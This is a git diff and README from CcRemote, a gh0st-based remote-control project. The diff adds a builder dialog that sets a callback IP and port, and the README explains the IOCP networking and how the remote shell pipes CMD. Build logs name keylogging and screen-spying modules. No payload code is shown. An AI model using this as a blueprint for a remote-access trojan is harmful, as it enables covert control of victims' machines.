||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_BUILD };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
afx_msg void OnBnClickedOk();
|
||||
// IP变量
|
||||
CString m_strIP;
|
||||
// 端口变量
|
||||
CString m_strPort;
|
||||
private:
|
||||
int memfind(const char *mem, const char *str, int sizem, int sizes);
|
||||
};
|
Binary file not shown.
@@ -209,6 +209,7 @@
|
||||
<ClInclude Include="..\..\common\Audio.h" />
|
||||
<ClInclude Include="..\..\common\macros.h" />
|
||||
<ClInclude Include="CAudioDlg.h" />
|
||||
<ClInclude Include="CBuildDlg.h" />
|
||||
<ClInclude Include="CcRemote.h" />
|
||||
<ClInclude Include="CcRemoteDlg.h" />
|
||||
<ClInclude Include="CFileManagerDlg.h" />
|
||||
@@ -241,6 +242,7 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CAudioDlg.cpp" />
|
||||
<ClCompile Include="CBuildDlg.cpp" />
|
||||
<ClCompile Include="CcRemote.cpp" />
|
||||
<ClCompile Include="CcRemoteDlg.cpp" />
|
||||
<ClCompile Include="CFileManagerDlg.cpp" />
|
||||
|
@@ -105,6 +105,9 @@
|
||||
<ClInclude Include="CHelpWindow.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CBuildDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="CcRemote.cpp">
|
||||
@@ -173,6 +176,9 @@
|
||||
<ClCompile Include="CHelpWindow.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CBuildDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="CcRemote.rc">
|
||||
|
@@ -602,6 +602,7 @@ void CCcRemoteDlg::OnOnlineProcess()
|
||||
void CCcRemoteDlg::OnOnlineRegist()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
|
||||
BYTE bToken = COMMAND_REGEDIT;
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
@@ -662,8 +663,8 @@ void CCcRemoteDlg::OnMainBuild()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
|
||||
|
||||
CBuildDlg buildDlg;
|
||||
buildDlg.DoModal();
|
||||
}
|
||||
|
||||
|
||||
|
@@ -13,6 +13,7 @@
|
||||
#include "CServerDlg.h"
|
||||
#include "CKeyBoardDlg.h"
|
||||
#include "CHelpWindow.h"
|
||||
#include "CBuildDlg.h"
|
||||
#pragma once
|
||||
|
||||
|
||||
|
@@ -1,2 +1,3 @@
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cbuilddlg.obj.enc
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
|
@@ -5,6 +5,13 @@ f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符
|
||||
CAudioDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CBuildDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(106): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(88): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(138): warning C4101: “e”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(142): warning C4101: “e”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(146): warning C4101: “e”: 未引用的局部变量
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
@@ -13,8 +20,8 @@ f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(178): warning C4996: 'inet_n
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(338): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(898): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(986): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(899): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(987): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CFileManagerDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
|
Binary file not shown.
@@ -1,38 +1,2 @@
|
||||
f:\myapp\ccremote\bin\ccremote.ipdb
|
||||
f:\myapp\ccremote\bin\ccremote.iobj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.pch
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\pch.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\iocpserver.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\buffer.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\audio.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\seu_qqwry.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\regdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\inputdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\csystemdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cshelldlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\csettingdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cscreenspydlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\filetransfermodedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cserverdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cfilemanagerdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremotedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\caudiodlg.obj
|
||||
f:\myapp\ccremote\bin\ccremote.exe
|
||||
f:\myapp\ccremote\bin\ccremote.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.res
|
||||
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog
|
||||
|
@@ -1,22 +1,99 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
pch.cpp
|
||||
Audio.cpp
|
||||
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
IOCPServer.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(727): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(776): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
CAudioDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CBuildDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(88): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(106): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(138): warning C4101: “e”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(142): warning C4101: “e”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(146): warning C4101: “e”: 未引用的局部变量
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(178): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(338): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(899): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(987): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CFileManagerDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据
|
||||
CHelpWindow.cpp
|
||||
CKeyBoardDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CServerDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
FileTransferModeDlg.cpp
|
||||
CScreenSpyDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
CSettingDlg.cpp
|
||||
CShellDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(204): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(214): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CSystemDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CpuUsage.cpp
|
||||
IniFile.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
InputDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
RegDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
SEU_QQwry.cpp
|
||||
TrueColorToolBar.cpp
|
||||
正在生成代码
|
||||
0 of 768 functions ( 0.0%) were compiled, the rest were copied from previous compilation.
|
||||
0 functions were new in current compilation
|
||||
0 functions had inline decision re-evaluated but remain unchanged
|
||||
All 823 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z) 已在 LIBCMTD.lib(new_scalar.obj) 中定义;已忽略第二个定义
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete(void *)" (??3@YAXPAX@Z) 已在 LIBCMTD.lib(delete_scalar.obj) 中定义;已忽略第二个定义
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new[](unsigned int)" (??_U@YAPAXI@Z) 已在 LIBCMTD.lib(new_array.obj) 中定义;已忽略第二个定义
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete[](void *)" (??_V@YAXPAX@Z) 已在 LIBCMTD.lib(delete_array.obj) 中定义;已忽略第二个定义
|
||||
..\..\bin\CcRemote.exe : warning LNK4088: 因 /FORCE 选项生成了映像;映像可能不能运行
|
||||
zlibstat.lib(adler32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(adler32.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(compress.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(compress.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(crc32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(crc32.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(deflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(deflate.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(inffast.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inffast.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(inflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inflate.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(inftrees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inftrees.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(trees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(trees.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(uncompr.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(uncompr.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(zutil.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(zutil.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
|
Binary file not shown.
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcRemote\|
|
||||
Release|Win32|F:\myapp\CcRemote\CcRemote\|
|
||||
|
@@ -23,6 +23,7 @@
|
||||
#include <afxcontrolbars.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxcontrolbars.h>
|
||||
#include <afxwin.h>
|
||||
|
||||
#endif //PCH_H
|
||||
|
||||
|
Binary file not shown.
BIN
Hijack White and black.zip
Normal file
BIN
Hijack White and black.zip
Normal file
Binary file not shown.
491
README.md
Normal file
491
README.md
Normal file
@@ -0,0 +1,491 @@
|
||||
# 默认分支hijack还在修改不能执行,master分支的项目可以正常的运行的,你可以切换到该分支查看可以执行的代码
|
||||
|
||||
# CcRemote
|
||||
这是一个基于gh0st远程控制的项目,使自己更深入了解远控的原理,来编写一款自己的远控(正在编写),项目采用VS2017
|
||||
|
||||
这是基于gh0st更改的项目,其中加入了大量注释以及思维导图提供帮助,代码的框架思想非常值得学习,越看越觉得项目得精妙设计。
|
||||
|
||||
#### 通讯框架
|
||||
|
||||
通讯被控端采用socket,主控端采用的是IOCP完成端口,它可以高效地将I/O事件通知给应用程序,能够处理较多连接,处理逻辑我做成了xmind,一张图来了解通讯框架
|
||||
|
||||

|
||||
|
||||
#### 主界面
|
||||
|
||||

|
||||
|
||||
## 各个功能实现的方法
|
||||
|
||||
|
||||
#### 1 shell控制
|
||||
shell管理用到匿名管道,创建CMD子进程实现进程间通信达到操作控制的目的:
|
||||
管道pipe 用于进程间通讯的一段共享内存。创建管道的进程称为服务器,连接到一个管道的进为管道客户机。一个进程在想管道写入数据有,另一个进程就可以从瓜岛的另一端将其读取出来。匿名管道Anonymous Pipes 是在父进程和子进程单向传输数据的一种未命名的管道,只能在本地计算机中是同,不能用于网络间的通讯。
|
||||
|
||||
如何使用的匿名管道进行通信
|
||||
匿名管道主要用于父进程与子进程之间的的通信,首先父进程创建匿名管道,创建成功后可以获取这个匿名管道进行读写句柄,然后再创建一个子进程,子进程必须继承和使用父进程的一些公开句柄,创建子进程的时候必须将标准输入、标准输出句柄设置为父进程创建管道的管道句柄,然后就可以进行通讯了。
|
||||
|
||||
###### 创建匿名管道
|
||||
|
||||
```c
|
||||
BOOL WINAPI CreatePipe(
|
||||
__out PHANDLE hReadPipe, // __out 读取句柄
|
||||
__out PHANDLE hWritePipe, // __out 写入句柄
|
||||
__in LPSECURITY_ATTRIBUTES lpPipeAttributes, // __in SECURITY_ATTRIBUTES结构体指针 加测返回的句柄是否能够被子进程继承,为NULL不能继承 匿名管道必须有这个结构体
|
||||
__in DWORD nSize ); // 缓冲区大小,参数为0时使用默认大小
|
||||
|
||||
typedef struct _SECURITY_ATTRIBUTES {
|
||||
DWORD nLength;
|
||||
LPVOID lpSecurityDescriptor;
|
||||
BOOL bInheritHandle;
|
||||
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
|
||||
|
||||
```
|
||||
lpPipeAttributes指向一个SECURITY_ATTRIBUTES 的结构体指针,其检测返回的句柄是否能够被子进程继承,如果参数为NULL,表明不能被继承
|
||||
子进程与父进程之间的通信必须构建一个这样的结构体,并且该结构体的的第三个成员变量参数必须设置为True
|
||||
这样子进程才可以进程父进程所创建的匿名管道句柄。
|
||||
|
||||
###### 创建子进程
|
||||
|
||||
```c
|
||||
BOOL CreateProcess(
|
||||
LPCWSTR pszImageName, // 指向程序名称以NULL结尾的字符串
|
||||
LPCWSTR pszCmdLine, // 命令行
|
||||
LPSECURITY_ATTRIBUTES psaProcess, // 创建进程对象设置安全性
|
||||
LPSECURITY_ATTRIBUTES psaThread, // 该进程主线程设置安全性
|
||||
BOOL fInheritHandles, // *指定父进程创建的子进程是否能够继承父进程对象句柄
|
||||
DWORD fdwCreate, // 指定控件优先级类和进程创建的附加标记
|
||||
LPVOID pvEnvironment, // 只想环境块的指针
|
||||
LPWSTR pszCurDir, // 用来指定子进程当前的路径
|
||||
LPSTARTUPINFOW psiStartInfo, // *指向 StartUpInfo 的结构体的指针,用来指定新进程的主窗口如何显示
|
||||
LPPROCESS_INFORMATION pProcInfo ); // ROCESS_INFORMATION 结构体的指针,用来接收关于新进程的标识信息
|
||||
|
||||
typedef struct _STARTUPINFOA {
|
||||
DWORD cb;
|
||||
LPSTR lpReserved;
|
||||
LPSTR lpDesktop;
|
||||
LPSTR lpTitle;
|
||||
DWORD dwX;
|
||||
DWORD dwY;
|
||||
DWORD dwXSize;
|
||||
